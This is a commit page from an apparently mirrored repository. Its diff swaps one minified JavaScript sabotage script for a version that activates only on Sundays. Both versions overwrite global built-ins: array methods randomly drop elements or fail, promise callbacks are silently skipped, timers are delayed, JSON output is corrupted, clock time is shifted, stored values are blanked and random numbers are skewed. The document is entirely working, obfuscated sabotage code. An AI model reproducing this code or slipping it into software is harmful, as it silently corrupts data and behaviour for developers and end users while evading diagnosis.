1
0
mirror of synced 2026-02-04 16:07:51 +08:00

only triggers on Sunday

This commit is contained in:
wheatup
2021-04-09 20:26:07 +09:00
parent 30a0674832
commit b2ca7f2803
5 changed files with 25 additions and 41 deletions

View File

@@ -1 +1 @@
(n=>{const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result};const o=Array.prototype.filter;Array.prototype.filter=function(...t){return result=o.call(this,...t),u()<.02&&(result.length=Math.max(result.length-1,0)),result};const l=n.setTimeout;n.setTimeout=function(t,e,...r){return l.call(n,t,+e+1e3,...r)};const a=Promise.prototype.then;Promise.prototype.then=function(...t){0===(new Date).getDay()&&u()<.1||a.call(this,...t)};const c=JSON.stringify;JSON.stringify=function(...t){let e=c.call(JSON,...t);return u()<.3&&(e=e.replace(/I/g,"l")),e};const s=Date.prototype.getTime;Date.prototype.getTime=function(){var t=s.call(this);return t-=36e5};const i=n.localStorage.getItem;n.localStorage.getItem=function(...t){let e=i.call(n.localStorage,...t);return u()<.05&&(e=""),e};const u=Math.random;Math.random=function(...t){t=u.call(Math,...t);return t*=1.1}})((0,eval)("this"));
(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return n.call(this,...t)};const l=Array.prototype.filter;Array.prototype.filter=function(...t){return result=l.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const a=o.setTimeout;o.setTimeout=function(t,e,...r){return a.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){p()<.1||c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const i=Date.prototype.getTime;Date.prototype.getTime=function(){var t=i.call(this);return t-=36e5};const u=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=u.call(o.localStorage,...t);return p()<.05&&(e=""),e};const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this"));